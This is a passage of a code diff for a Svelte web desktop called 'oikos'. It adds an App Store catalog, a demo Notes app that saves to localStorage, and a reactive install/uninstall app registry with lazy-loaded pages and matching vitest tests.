if (filters.actor_id) params.set('actor_id', filters.actor_id)
|
||||
|
||||
57
web/src/lib/app-store/apps/Notes.svelte
Normal file
@@ -0,0 +1,57 @@
|
||||
<script lang="ts">
|
||||
// Notes — a trivial installable app demoing the App Store lifecycle.
|
||||
// Installed from the App Store, gets a desktop icon, opens in a window,
|
||||
// has its own localStorage-backed state, and uninstalls cleanly. No
|
||||
// shell-internal imports — this is a self-contained app that could be
|
||||
// shipped as a standalone bundle (Phase 4 will load such bundles from
|
||||
// a URL; here it's bundled and discovered via the catalog).
|
||||
let { storageKey = 'oikos-app-notes' }: { storageKey?: string } = $props()
|
||||
|
||||
let text = $state('')
|
||||
let saved = $state(false)
|
||||
|
||||
function load(): string {
|
||||
if (typeof localStorage === 'undefined') return ''
|
||||
return localStorage.getItem(storageKey) ?? ''
|
||||
}
|
||||
function save(): void {
|
||||
if (typeof localStorage === 'undefined') return
|
||||
localStorage.setItem(storageKey, text)
|
||||
saved = true
|
||||
setTimeout(() => (saved = false), 1500)
|
||||
}
|
||||
|
||||
function onKeydown(e: KeyboardEvent) {
|
||||
if ((e.metaKey || e.ctrlKey) && e.key.toLowerCase() === 's') {
|
||||
e.preventDefault()
|
||||
save()
|
||||
}
|
||||
}
|
||||
|
||||
text = load()
|
||||
$effect(() => {
|
||||
if (!text) return
|
||||
const t = setTimeout(() => save(), 2000)
|
||||
return () => clearTimeout(t)
|
||||
})
|
||||
</script>
|
||||
|
||||
<div class="flex h-full min-h-0 flex-col gap-2 p-4">
|
||||
<div class="flex shrink-0 items-center justify-between">
|
||||
<h2 class="text-sm font-medium">Notes</h2>
|
||||
<span class="text-xs text-muted-foreground">
|
||||
{#if saved}saved{:else}unsaved{/if}
|
||||
</span>
|
||||
</div>
|
||||
<textarea
|
||||
bind:value={text}
|
||||
onkeydown={onKeydown}
|
||||
placeholder="Type here. Auto-saves 2s after you stop, or Cmd/Ctrl+S."
|
||||
class="min-h-0 flex-1 resize-none rounded-md border bg-background p-3 font-mono text-sm leading-relaxed focus-visible:outline-2 focus-visible:outline-ring"
|
||||
></textarea>
|
||||
<p class="shrink-0 text-xs text-muted-foreground">
|
||||
A demo installable app — uninstall it from the App Store to remove its icon and window. Its
|
||||
notes persist in localStorage under
|
||||
<code class="font-mono">{storageKey}</code>.
|
||||
</p>
|
||||
</div>
|
||||
81
web/src/lib/app-store/catalog.ts
Normal file
@@ -0,0 +1,81 @@
|
||||
// App Store — installable app catalog + manifest format.
|
||||
//
|
||||
// This is Phase 3's "frontend scaffold, local bundles only" path: a static
|
||||
// catalog of apps that ship with the build, each described by a persistable
|
||||
// manifest (metadata) and resolved at runtime to a loader + icon (runtime
|
||||
// bits that are NOT persisted — they're looked up from the catalog by
|
||||
// manifest id on load). Installing an app = persisting its manifest id;
|
||||
// uninstalling = removing it. The mechanism generalizes to remote bundles
|
||||
// in Phase 4 by swapping the catalog for a fetched manifest + a
|
||||
// `import(/* @vite-ignore */ entryUrl)` loader.
|
||||
//
|
||||
// Permissions are DECLARED on the manifest but NOT YET ENFORCED — that's
|
||||
// Phase 4 (sandboxing). They're part of the contract now so a manifest
|
||||
// author has to name what the app needs, and the operator can see it in
|
||||
// the App Store before installing. Enforcement will land at the AppOS
|
||||
// boundary (docs/mbse/components.md §9 "OS-service surface") in Phase 4.
|
||||
import type { Component } from 'svelte'
|
||||
import NotesIcon from '@lucide/svelte/icons/sticky-note'
|
||||
|
||||
// A permission an installable app can request. Maps 1:1 to entries in the
|
||||
// AppOS table (docs/mbse/components.md §9). Phase 4 will enforce these at
|
||||
// the store-access boundary; today they're declaration-only.
|
||||
export type AppPermission =
|
||||
| 'open-window' // openAppWindow / openEntityWindow / openTaskWindow
|
||||
| 'read-context' // dashboard summary, subscribeContext
|
||||
| 'read-events' // subscribeEvents (SSE)
|
||||
| 'api:entities' // $lib/api entity endpoints
|
||||
| 'api:knowledge' // knowledge search/content
|
||||
| 'api:executions' // executions/approvals
|
||||
| 'theme' // getTheme / setTheme
|
||||
|
||||
// Persistable metadata describing an installable app. This is what's
|
||||
// stored in localStorage when an app is installed (just the manifest id is
|
||||
// persisted, actually — the manifest is re-resolved from the catalog on
|
||||
// load — but the shape is the unit of interchange and will be what a
|
||||
// remote `/api/v1/apps` endpoint returns in Phase 4).
|
||||
export interface AppManifest {
|
||||
id: string
|
||||
title: string
|
||||
description: string
|
||||
version: string
|
||||
author?: string
|
||||
permissions: AppPermission[]
|
||||
docked?: boolean
|
||||
noIcon?: boolean
|
||||
width?: number
|
||||
height?: number
|
||||
minWidth?: number
|
||||
minHeight?: number
|
||||
}
|
||||
|
||||
// A catalog entry: the manifest (persistable metadata) plus the runtime
|
||||
// bits the catalog resolves by id — the Lucide icon component and the
|
||||
// dynamic-import loader. These runtime bits are never persisted; they're
|
||||
// re-looked-up from this static catalog on every load.
|
||||
export interface CatalogEntry {
|
||||
manifest: AppManifest
|
||||
icon: Component
|
||||
load: () => Promise<{ default: Component }>
|
||||
}
|
||||
|
||||
export const CATALOG: CatalogEntry[] = [
|
||||
{
|
||||
manifest: {
|
||||
id: 'notes',
|
||||
title: 'Notes',
|
||||
description: 'A scratchpad. Auto-saves to localStorage. Demo installable app.',
|
||||
version: '0.1.0',
|
||||
author: 'oikos',
|
||||
permissions: ['theme'],
|
||||
width: 640,
|
||||
height: 480,
|
||||
minWidth: 360,
|
||||
minHeight: 320
|
||||
},
|
||||
icon: NotesIcon,
|
||||
load: () => import('./apps/Notes.svelte')
|
||||
}
|
||||
]
|
||||
|
||||
export const catalogById = new Map(CATALOG.map((e) => [e.manifest.id, e]))
|
||||
@@ -1,46 +1,56 @@
|
||||
import { describe, it, expect, vi } from 'vitest'
|
||||
import { describe, it, expect, beforeEach, vi } from 'vitest'
|
||||
|
||||
// apps.ts wires in every page component for real use, but that drags a
|
||||
// heavy transitive graph into a unit test for no benefit here (and one of
|
||||
// those pages imports svelte-sonner, which fails to resolve under vitest's
|
||||
// bundled Vite — an unrelated, pre-existing package quirk). These tests only
|
||||
// care about the registry's own shape (ids, sizes, window-id helpers), so
|
||||
// stub the component imports out rather than pull all of that in.
|
||||
vi.mock('../pages/Overview.svelte', () => ({ default: {} }))
|
||||
vi.mock('../pages/KnowledgeBase.svelte', () => ({ default: {} }))
|
||||
vi.mock('../pages/Ops.svelte', () => ({ default: {} }))
|
||||
vi.mock('../pages/Signals.svelte', () => ({ default: {} }))
|
||||
vi.mock('../pages/Knowledge.svelte', () => ({ default: {} }))
|
||||
vi.mock('../pages/Learning.svelte', () => ({ default: {} }))
|
||||
// apps.ts holds only app metadata + a reactive registry. `component` is a
|
||||
// dynamic-import loader, not the page itself, so importing apps.ts pulls no
|
||||
// page modules. The install/uninstall tests touch localStorage and the
|
||||
// module-scoped installedIds store, so each re-imports the module fresh (see
|
||||
// docked.test.ts for the same pattern).
|
||||
import { builtinApps, appWindowId, appIdFromWindowId } from './apps'
|
||||
|
||||
import { APPS, appById, appWindowId, appIdFromWindowId } from './apps'
|
||||
|
||||
describe('APPS registry', () => {
|
||||
describe('builtinApps registry', () => {
|
||||
it('has unique, non-empty ids', () => {
|
||||
const ids = APPS.map((a) => a.id)
|
||||
const ids = builtinApps.map((a) => a.id)
|
||||
expect(ids.length).toBeGreaterThan(0)
|
||||
expect(new Set(ids).size).toBe(ids.length)
|
||||
for (const id of ids) expect(id).not.toBe('')
|
||||
})
|
||||
|
||||
it('gives every app a positive default size', () => {
|
||||
for (const app of APPS) {
|
||||
it('component is a loader function, not the component itself', () => {
|
||||
for (const app of builtinApps) {
|
||||
expect(typeof app.component).toBe('function')
|
||||
}
|
||||
})
|
||||
|
||||
it('every built-in is source: builtin', () => {
|
||||
for (const app of builtinApps) expect(app.source).toBe('builtin')
|
||||
})
|
||||
|
||||
it('windowed apps have positive default geometry', () => {
|
||||
for (const app of builtinApps.filter((a) => !a.docked)) {
|
||||
expect(app.width).toBeGreaterThan(0)
|
||||
expect(app.height).toBeGreaterThan(0)
|
||||
}
|
||||
})
|
||||
|
||||
it('is indexed by id in appById', () => {
|
||||
for (const app of APPS) {
|
||||
expect(appById.get(app.id)).toBe(app)
|
||||
it('docked apps forbid window geometry', () => {
|
||||
for (const app of builtinApps.filter((a) => a.docked)) {
|
||||
expect(app.width).toBeUndefined()
|
||||
expect(app.height).toBeUndefined()
|
||||
expect(app.minWidth).toBeUndefined()
|
||||
expect(app.minHeight).toBeUndefined()
|
||||
}
|
||||
expect(appById.size).toBe(APPS.length)
|
||||
})
|
||||
|
||||
it('includes the App Store and mascot as built-ins', () => {
|
||||
expect(builtinApps.find((a) => a.id === 'app-store')).toBeTruthy()
|
||||
const mascot = builtinApps.find((a) => a.id === 'mascot')
|
||||
expect(mascot?.docked).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('appWindowId / appIdFromWindowId', () => {
|
||||
it('round-trips an app id through its window id', () => {
|
||||
for (const app of APPS) {
|
||||
for (const app of builtinApps) {
|
||||
expect(appIdFromWindowId(appWindowId(app.id))).toBe(app.id)
|
||||
}
|
||||
})
|
||||
@@ -52,10 +62,74 @@ describe('appWindowId / appIdFromWindowId', () => {
|
||||
})
|
||||
|
||||
it('namespaces window ids so they cannot collide with entity slugs', () => {
|
||||
// Entity slugs are bare `type:identifier` strings (see windows.ts's
|
||||
// openEntityWindow) — app window ids must never look like one.
|
||||
for (const app of APPS) {
|
||||
for (const app of builtinApps) {
|
||||
expect(appWindowId(app.id).startsWith('app:')).toBe(true)
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
// install/uninstall lifecycle — each test re-imports fresh so the
|
||||
// module-scoped installedIds store starts empty and localStorage is clean.
|
||||
describe('install / uninstall', () => {
|
||||
beforeEach(() => {
|
||||
localStorage.clear()
|
||||
vi.resetModules()
|
||||
})
|
||||
|
||||
it('installApp adds a catalog app to the installed set', async () => {
|
||||
const fresh = await import('./apps')
|
||||
fresh.installApp('notes')
|
||||
let snap: string[] = []
|
||||
const unsub = fresh.installedAppIds.subscribe((v) => (snap = v))
|
||||
expect(snap).toContain('notes')
|
||||
unsub()
|
||||
})
|
||||
|
||||
it('install is idempotent', async () => {
|
||||
const fresh = await import('./apps')
|
||||
fresh.installApp('notes')
|
||||
fresh.installApp('notes')
|
||||
let snap: string[] = []
|
||||
fresh.installedAppIds.subscribe((v) => (snap = v))
|
||||
expect(snap.filter((id) => id === 'notes')).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('installing an unknown manifest id is a no-op', async () => {
|
||||
const fresh = await import('./apps')
|
||||
fresh.installApp('does-not-exist')
|
||||
let snap: string[] = []
|
||||
fresh.installedAppIds.subscribe((v) => (snap = v))
|
||||
expect(snap).not.toContain('does-not-exist')
|
||||
})
|
||||
|
||||
it('uninstall removes the app', async () => {
|
||||
const fresh = await import('./apps')
|
||||
fresh.installApp('notes')
|
||||
fresh.uninstallApp('notes')
|
||||
let snap: string[] = []
|
||||
fresh.installedAppIds.subscribe((v) => (snap = v))
|
||||
expect(snap).not.toContain('notes')
|
||||
})
|
||||
|
||||
it('uninstall is idempotent', async () => {
|
||||
const fresh = await import('./apps')
|
||||
expect(() => fresh.uninstallApp('notes')).not.toThrow()
|
||||
})
|
||||
|
||||
it('persists the installed set to localStorage', async () => {
|
||||
const fresh = await import('./apps')
|
||||
fresh.installApp('notes')
|
||||
const raw = localStorage.getItem('oikos-installed-apps')
|
||||
expect(raw).toBeTruthy()
|
||||
expect(JSON.parse(raw!)).toContain('notes')
|
||||
})
|
||||
|
||||
it('drops persisted ids that no longer resolve to a catalog entry', async () => {
|
||||
localStorage.setItem('oikos-installed-apps', JSON.stringify(['notes', 'removed-app']))
|
||||
const fresh = await import('./apps')
|
||||
let snap: string[] = []
|
||||
fresh.installedAppIds.subscribe((v) => (snap = v))
|
||||
expect(snap).toContain('notes')
|
||||
expect(snap).not.toContain('removed-app')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,120 +1,269 @@
|
||||
// The desktop's app registry — single source of truth for what shows up as
|
||||
// a desktop icon and what opens in its window. Adding a new app is one entry
|
||||
// here; nothing else needs to change (Desktop.svelte renders icons from
|
||||
// APPS, WindowLayer.svelte resolves `app:<id>` window ids back through
|
||||
// appById, Taskbar.svelte reads title/icon the same way). Compare to the old
|
||||
// App.svelte's hardcoded navItems array + if/else page branch, which required
|
||||
// touching three places (nav list, header title, main content branch) to add
|
||||
// one page.
|
||||
// The app registry — single source of truth for what shows up as a desktop
|
||||
// icon and what opens in its window.
|
||||
//
|
||||
// Two layers:
|
||||
// - **Built-in apps** (always installed): the static `builtinApps` array
|
||||
// below. These ship with the build and can't be removed.
|
||||
// - **Installed apps** (operator-installed from the App Store): persisted
|
||||
// manifest ids in localStorage, re-resolved against the catalog at
|
||||
// load time. `installApp`/`uninstallApp` mutate this set.
|
||||
//
|
||||
// The public surface is reactive: `apps` is a derived store (built-in +
|
||||
// installed) and `appById` is a derived Map. Consumers (Desktop.svelte,
|
||||
// DockedLayer.svelte, Taskbar.svelte, icons.ts, windows.ts) subscribe or
|
||||
// use `get()` for synchronous lookups. This is what lets an installed app
|
||||
// appear on the desktop the moment it's registered, with no reload.
|
||||
//
|
||||
// App components are loaded lazily (`component: () => Promise<{ default:
|
||||
// Component }>` — a dynamic-import loader). Desktop icons render from
|
||||
// metadata alone; the chunk fetches on first window open, and Vite
|
||||
// code-splits each app into its own chunk. See
|
||||
// docs/mbse/components.md §9 for the full contract.
|
||||
import type { Component } from 'svelte'
|
||||
import { writable, derived, get, type Readable } from 'svelte/store'
|
||||
import type { DashboardSummary } from '$lib/api'
|
||||
import { openSignalCount } from '$lib/stores/context'
|
||||
import Overview from '../pages/Overview.svelte'
|
||||
import KnowledgeBase from '../pages/KnowledgeBase.svelte'
|
||||
import Ops from '../pages/Ops.svelte'
|
||||
import Signals from '../pages/Signals.svelte'
|
||||
import Knowledge from '../pages/Knowledge.svelte'
|
||||
import Learning from '../pages/Learning.svelte'
|
||||
import Settings from '../pages/Settings.svelte'
|
||||
import {
|
||||
catalogById,
|
||||
type AppManifest,
|
||||
type AppPermission,
|
||||
type CatalogEntry
|
||||
} from '$lib/app-store/catalog'
|
||||
import ListTodoIcon from '@lucide/svelte/icons/list-todo'
|
||||
import DatabaseIcon from '@lucide/svelte/icons/database'
|
||||
import BoxesIcon from '@lucide/svelte/icons/boxes'
|
||||
import ShieldCheckIcon from '@lucide/svelte/icons/shield-check'
|
||||
import SirenIcon from '@lucide/svelte/icons/siren'
|
||||
import SearchIcon from '@lucide/svelte/icons/search'
|
||||
import TrendingUpIcon from '@lucide/svelte/icons/trending-up'
|
||||
import SettingsIcon from '@lucide/svelte/icons/settings'
|
||||
import EggIcon from '@lucide/svelte/icons/egg'
|
||||
import StoreIcon from '@lucide/svelte/icons/store'
|
||||
|
||||
export type { AppManifest, AppPermission }
|
||||
|
||||
// Two app kinds, picked by one flag:
|
||||
// - Windowed (default): renders in a wmkit floating window. Geometry
|
||||
// (width/height/min*) is required.
|
||||
// - Docked (docked: true): renders on the Docked Layer above the window
|
||||
// layer, with no window chrome and no taskbar button. Clicking its
|
||||
// desktop icon toggles visibility (see stores/docked.ts) rather than
|
||||
// opening a window. Geometry is forbidden — there is no window to size.
|
||||
// Apps receive no props from the shell; they import the OS-service surface
|
||||
// ($lib/stores/windows, $lib/stores/context, $lib/api, ...) directly. See
|
||||
// docs/mbse/components.md §9 for the stable surface contract.
|
||||
export interface AppDef {
|
||||
id: string
|
||||
title: string
|
||||
icon: Component
|
||||
component: Component
|
||||
width: number
|
||||
height: number
|
||||
// Dynamic-import loader. Invoked when an app window opens (windowed) or
|
||||
// when the Docked Layer first mounts the app (docked). Vite's module cache
|
||||
// makes the second open cheap (promise resolves from cache). The resolved
|
||||
// module is a standard Svelte module namespace — `mod.default` is the
|
||||
// component; LazyApp.svelte unwraps it.
|
||||
component: () => Promise<{ default: Component }>
|
||||
docked?: boolean
|
||||
noIcon?: boolean
|
||||
width?: number
|
||||
height?: number
|
||||
minWidth?: number
|
||||
minHeight?: number
|
||||
// Pure function over the shared dashboard summary — used for both the
|
||||
// desktop icon's badge and the taskbar button's badge, so a new app that
|
||||
// wants one just supplies this instead of each surface reimplementing it.
|
||||
badge?: (summary: DashboardSummary | null) => number
|
||||
// Source — 'builtin' (always installed) or 'installed' (from the App
|
||||
// Store). Used by the App Store UI to distinguish uninstallable apps from
|
||||
// built-ins.
|
||||
source: 'builtin' | 'installed'
|
||||
}
|
||||
|
||||
export const APPS: AppDef[] = [
|
||||
// Built-in apps — always installed, can't be removed. All components use
|
||||
// dynamic-import loaders so apps.ts stays out of the page module graph at
|
||||
// import time (Phase 2 code-splitting: each page is its own chunk, the
|
||||
// main bundle stays small). The mascot uses the same path — deferring its
|
||||
// module graph also breaks what would otherwise be a static cycle through
|
||||
// icons.ts back to APPS.
|
||||
export const builtinApps: AppDef[] = [
|
||||
{
|
||||
id: 'tasks',
|
||||
title: 'Tasks',
|
||||
icon: ListTodoIcon,
|
||||
component: Overview,
|
||||
component: () => import('../pages/Overview.svelte'),
|
||||
width: 960,
|
||||
height: 680,
|
||||
minWidth: 480,
|
||||
minHeight: 420
|
||||
minHeight: 420,
|
||||
source: 'builtin'
|
||||
},
|
||||
{
|
||||
// id stays 'kb' so persisted window geometry / desktop-icon position /
|
||||
// the 'oikos-kb-view' preference survive the rename to "Fleet".
|
||||
id: 'kb',
|
||||
title: 'Knowledge Base',
|
||||
icon: DatabaseIcon,
|
||||
component: KnowledgeBase,
|
||||
title: 'Fleet',
|
||||
icon: BoxesIcon,
|
||||
component: () => import('../pages/KnowledgeBase.svelte'),
|
||||
width: 1000,
|
||||
height: 700,
|
||||
minWidth: 520,
|
||||
minHeight: 420
|
||||
minHeight: 420,
|
||||
source: 'builtin'
|
||||
},
|
||||
{
|
||||
id: 'ops',
|
||||
title: 'Operations',
|
||||
icon: ShieldCheckIcon,
|
||||
component: Ops,
|
||||
component: () => import('../pages/Ops.svelte'),
|
||||
width: 860,
|
||||
height: 620,
|
||||
minWidth: 480,
|
||||
minHeight: 360,
|
||||
badge: (s) => s?.approvals_pending ?? 0
|
||||
badge: (s) => s?.approvals_pending ?? 0,
|
||||
source: 'builtin'
|
||||
},
|
||||
{
|
||||
id: 'signals',
|
||||
title: 'Signals',
|
||||
icon: SirenIcon,
|
||||
component: Signals,
|
||||
component: () => import('../pages/Signals.svelte'),
|
||||
width: 860,
|
||||
height: 620,
|
||||
minWidth: 480,
|
||||
minHeight: 360,
|
||||
badge: (s) => openSignalCount(s)
|
||||
badge: (s) => openSignalCount(s),
|
||||
source: 'builtin'
|
||||
},
|
||||
{
|
||||
id: 'knowledge',
|
||||
title: 'Knowledge',
|
||||
icon: SearchIcon,
|
||||
component: Knowledge,
|
||||
component: () => import('../pages/Knowledge.svelte'),
|
||||
width: 800,
|
||||
height: 600,
|
||||
minWidth: 440,
|
||||
minHeight: 340
|
||||
minHeight: 340,
|
||||
source: 'builtin'
|
||||
},
|
||||
{
|
||||
id: 'learning',
|
||||
title: 'Learning',
|
||||
icon: TrendingUpIcon,
|
||||
component: Learning,
|
||||
component: () => import('../pages/Learning.svelte'),
|
||||
width: 800,
|
||||
height: 600,
|
||||
minWidth: 440,
|
||||
minHeight: 340
|
||||
minHeight: 340,
|
||||
source: 'builtin'
|
||||
},
|
||||
{
|
||||
id: 'settings',
|
||||
title: 'Settings',
|
||||
icon: SettingsIcon,
|
||||
component: Settings,
|
||||
component: () => import('../pages/Settings.svelte'),
|
||||
width: 640,
|
||||
height: 480,
|
||||
minWidth: 480,
|
||||
minHeight: 360
|
||||
minHeight: 360,
|
||||
source: 'builtin'
|
||||
},
|
||||
{
|
||||
id: 'app-store',
|
||||
title: 'App Store',
|
||||
icon: StoreIcon,
|
||||
component: () => import('../pages/AppStore.svelte'),
|
||||
width: 720,
|
||||
height: 560,
|
||||
minWidth: 480,
|
||||
minHeight: 360,
|
||||
source: 'builtin'
|
||||
},
|
||||
{
|
||||
id: 'mascot',
|
||||
title: 'Cluck',
|
||||
icon: EggIcon,
|
||||
component: () => import('./mascot/MascotLayer.svelte'),
|
||||
docked: true,
|
||||
source: 'builtin'
|
||||
}
|
||||
]
|
||||
|
||||
export const appById = new Map(APPS.map((a) => [a.id, a]))
|
||||
// --- Installed (operator-installed from the App Store) ---------------------
|
||||
|
||||
const INSTALLED_KEY = 'oikos-installed-apps'
|
||||
|
||||
function loadInstalled(): string[] {
|
||||
if (typeof localStorage === 'undefined') return []
|
||||
try {
|
||||
const raw = localStorage.getItem(INSTALLED_KEY)
|
||||
if (!raw) return []
|
||||
const ids = JSON.parse(raw) as string[]
|
||||
// Drop ids that no longer resolve to a catalog entry (the app was
|
||||
// removed from the catalog in a later build) so they don't linger as
|
||||
// phantom desktop icons.
|
||||
return ids.filter((id) => catalogById.has(id))
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
}
|
||||
|
||||
// Persisted as the list of catalog manifest ids the operator has installed.
|
||||
const installedIds = writable<string[]>(loadInstalled())
|
||||
|
||||
// Readable view for components (App Store UI) that need to re-render on
|
||||
// install/uninstall. Mutations go through installApp/uninstallApp.
|
||||
export const installedAppIds: Readable<string[]> = { subscribe: installedIds.subscribe }
|
||||
|
||||
function persist(ids: string[]): void {
|
||||
if (typeof localStorage === 'undefined') return
|
||||
localStorage.setItem(INSTALLED_KEY, JSON.stringify(ids))
|
||||
}
|
||||
installedIds.subscribe(persist)
|
||||
|
||||
function catalogEntryToAppDef(entry: CatalogEntry): AppDef {
|
||||
const m = entry.manifest
|
||||
return {
|
||||
id: m.id,
|
||||
title: m.title,
|
||||
icon: entry.icon,
|
||||
component: entry.load,
|
||||
docked: m.docked,
|
||||
noIcon: m.noIcon,
|
||||
width: m.width,
|
||||
height: m.height,
|
||||
minWidth: m.minWidth,
|
||||
minHeight: m.minHeight,
|
||||
source: 'installed'
|
||||
}
|
||||
}
|
||||
|
||||
// The full app set: built-ins + installed catalog apps. Reactive so an
|
||||
// install/uninstall is reflected on the desktop immediately, with no reload.
|
||||
export const apps: Readable<AppDef[]> = derived(installedIds, (ids) => {
|
||||
const installed = ids
|
||||
.map((id) => catalogById.get(id))
|
||||
.filter((e): e is CatalogEntry => !!e)
|
||||
.map(catalogEntryToAppDef)
|
||||
return [...builtinApps, ...installed]
|
||||
})
|
||||
|
||||
export const appById: Readable<Map<string, AppDef>> = derived(
|
||||
apps,
|
||||
(list) => new Map(list.map((a) => [a.id, a]))
|
||||
)
|
||||
|
||||
// Install/uninstall. Idempotent — installing an already-installed app or
|
||||
// uninstalling a not-installed one is a no-op. Uninstalling a built-in is
|
||||
// refused (built-ins can't be removed).
|
||||
export function installApp(manifestId: string): void {
|
||||
if (!catalogById.has(manifestId)) return
|
||||
installedIds.update((ids) => (ids.includes(manifestId) ? ids : [...ids, manifestId]))
|
||||
}
|
||||
|
||||
export function uninstallApp(manifestId: string): void {
|
||||
installedIds.update((ids) => ids.filter((id) => id !== manifestId))
|
||||
}
|
||||
|
||||
export function isInstalled(manifestId: string): boolean {
|
||||
return get(installedIds).includes(manifestId)
|
||||
}
|
||||
|
||||
// --- Window-id helpers (unchanged from the static-registry era) -----------
|
||||
|
||||
// Window ids are namespaced so WindowLayer.svelte can tell at a glance which
|
||||
// content branch owns an id: `app:<id>` for registry apps, `session:<id>`
|
||||
|
||||
@@ -1,44 +0,0 @@
|
||||
// Browsing categories for the Knowledge Base — a coarser, more useful axis
|
||||
// than the ontology's own `layer` (infrastructure/governance/cognition),
|
||||
// which lumps very different things (an LXC and a DNS record and a storage
|
||||
// volume) into one "infrastructure" bucket. Built from the ontology's
|
||||
// `domain` field instead, which already draws these lines; this just
|
||||
// groups the domains into browsing-sized buckets. The Knowledge Base shows
|
||||
// every entity at once now (filtered by the type multiselect, not by a
|
||||
// fetch-time category), but "fleet" still names the default type selection.
|
||||
export type Category = 'network' | 'fleet' | 'identity' | 'knowledge'
|
||||
|
||||
// entity_types.domain -> Category. `external` folds into Network (isp-link,
|
||||
// domain-registration are network-adjacent); `physical`, `software`, and
|
||||
// `storage` fold into Fleet (ups/sensor/site support compute, services/apps
|
||||
// nest under the compute entity that provides them, and pools/volumes/
|
||||
// datasets nest under their compute entity or pool, all via EntityTable's
|
||||
// treegrid) — browsing them separately fragments "what's running where".
|
||||
// `meta` (the abstract root "entity" type) and `cognition` (see
|
||||
// KNOWLEDGE_TYPES below) are handled outside this map.
|
||||
const DOMAIN_TO_CATEGORY: Record<string, Category> = {
|
||||
network: 'network',
|
||||
external: 'network',
|
||||
compute: 'fleet',
|
||||
physical: 'fleet',
|
||||
software: 'fleet',
|
||||
storage: 'fleet',
|
||||
identity: 'identity'
|
||||
}
|
||||
|
||||
// `cognition` is not one thing: document/investigation/runbook are genuine
|
||||
// long-form knowledge, but the domain also holds execution/check/task/
|
||||
// signal/approval/pattern/skill/classification/feedback — operational
|
||||
// telemetry with its own pages (Operations, Signals, Learning). Mapping the
|
||||
// whole domain to Knowledge pulled in 245 execution + 25 check entities that
|
||||
// fan out to a handful of compute nodes via `targets`/`checks` edges,
|
||||
// flooding the graph. Only the true knowledge types get a category; the
|
||||
// rest are excluded from Knowledge Base browsing entirely (returns
|
||||
// undefined, same treatment as the abstract `entity` root type).
|
||||
const KNOWLEDGE_TYPES = new Set(['document', 'investigation', 'runbook'])
|
||||
|
||||
export function typeToCategory(type: string, domain: string): Category | undefined {
|
||||
if (KNOWLEDGE_TYPES.has(type)) return 'knowledge'
|
||||
if (domain === 'cognition') return undefined
|
||||
return DOMAIN_TO_CATEGORY[domain]
|
||||
}
|
||||
@@ -1,154 +0,0 @@
|
||||
<script lang="ts">
|
||||
import type { ActivityEntry } from '$lib/stores/activity'
|
||||
import Spinner from './Spinner.svelte'
|
||||
import CircleDotIcon from '@lucide/svelte/icons/circle-dot'
|
||||
import CircleXIcon from '@lucide/svelte/icons/circle-x'
|
||||
import MilestoneIcon from '@lucide/svelte/icons/milestone'
|
||||
import ListTodoIcon from '@lucide/svelte/icons/list-todo'
|
||||
import SparklesIcon from '@lucide/svelte/icons/sparkles'
|
||||
import HelpCircleIcon from '@lucide/svelte/icons/help-circle'
|
||||
import FlagIcon from '@lucide/svelte/icons/flag'
|
||||
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
|
||||
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
|
||||
|
||||
// Prop-driven (not store-imported) — see SessionGraph.svelte for why.
|
||||
let { entries }: { entries: ActivityEntry[] } = $props()
|
||||
|
||||
let expanded = $state(new Set<string>())
|
||||
|
||||
function toggle(id: string) {
|
||||
if (expanded.has(id)) expanded.delete(id)
|
||||
else expanded.add(id)
|
||||
expanded = new Set(expanded)
|
||||
}
|
||||
|
||||
function typeIcon(type: ActivityEntry['type']) {
|
||||
switch (type) {
|
||||
case 'goal': return MilestoneIcon
|
||||
case 'plan': return ListTodoIcon
|
||||
case 'step_running': case 'step_done': case 'step_failed':
|
||||
case 'tool_running': case 'tool_done': case 'tool_error':
|
||||
return null // use status icon instead
|
||||
case 'knowledge': return SparklesIcon
|
||||
case 'complete': return FlagIcon
|
||||
case 'question': return HelpCircleIcon
|
||||
default: return null
|
||||
}
|
||||
}
|
||||
|
||||
function statusColor(status: ActivityEntry['status']) {
|
||||
if (status === 'failed') return 'text-destructive'
|
||||
return 'text-primary'
|
||||
}
|
||||
|
||||
// Tool results often arrive as a JSON string — pretty-print it when it
|
||||
// parses, otherwise fall back to the raw text rather than hiding it.
|
||||
function prettyPrint(raw: string): string {
|
||||
try {
|
||||
return JSON.stringify(JSON.parse(raw), null, 2)
|
||||
} catch {
|
||||
return raw
|
||||
}
|
||||
}
|
||||
|
||||
function formatTime(ts: number): string | null {
|
||||
if (!ts) return null
|
||||
return new Date(ts).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' })
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class="flex h-full flex-col">
|
||||
<div class="flex-1 overflow-y-auto">
|
||||
{#if entries.length === 0}
|
||||
<div class="flex flex-col items-center gap-3 px-3 py-8 text-center">
|
||||
<svg viewBox="0 0 64 110" class="h-20 w-auto text-muted-foreground/40" fill="none">
|
||||
<line x1="32" y1="8" x2="32" y2="102" stroke="currentColor" stroke-width="1" stroke-dasharray="2.5 4" opacity="0.35" />
|
||||
<circle cx="32" cy="22" r="4" fill="currentColor">
|
||||
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" repeatCount="indefinite" />
|
||||
</circle>
|
||||
<circle cx="32" cy="55" r="4" fill="currentColor">
|
||||
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
|
||||
</circle>
|
||||
<circle cx="32" cy="55" r="4" fill="none" stroke="currentColor" stroke-width="1.5">
|
||||
<animate attributeName="r" values="4;11;4" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
|
||||
<animate attributeName="opacity" values="0.6;0;0.6" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
|
||||
</circle>
|
||||
<circle cx="32" cy="88" r="4" fill="currentColor">
|
||||
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" begin="1.2s" repeatCount="indefinite" />
|
||||
</circle>
|
||||
</svg>
|
||||
<p class="max-w-[12rem] text-xs leading-relaxed text-muted-foreground">Waiting for activity…</p>
|
||||
</div>
|
||||
{:else}
|
||||
<div class="flex flex-col py-1">
|
||||
{#each entries as entry, i (entry.id)}
|
||||
{@const isLast = i === entries.length - 1}
|
||||
{@const icon = typeIcon(entry.type)}
|
||||
{@const isOpen = expanded.has(entry.id)}
|
||||
{@const time = formatTime(entry.timestamp)}
|
||||
<div class="relative">
|
||||
<!-- connector line -->
|
||||
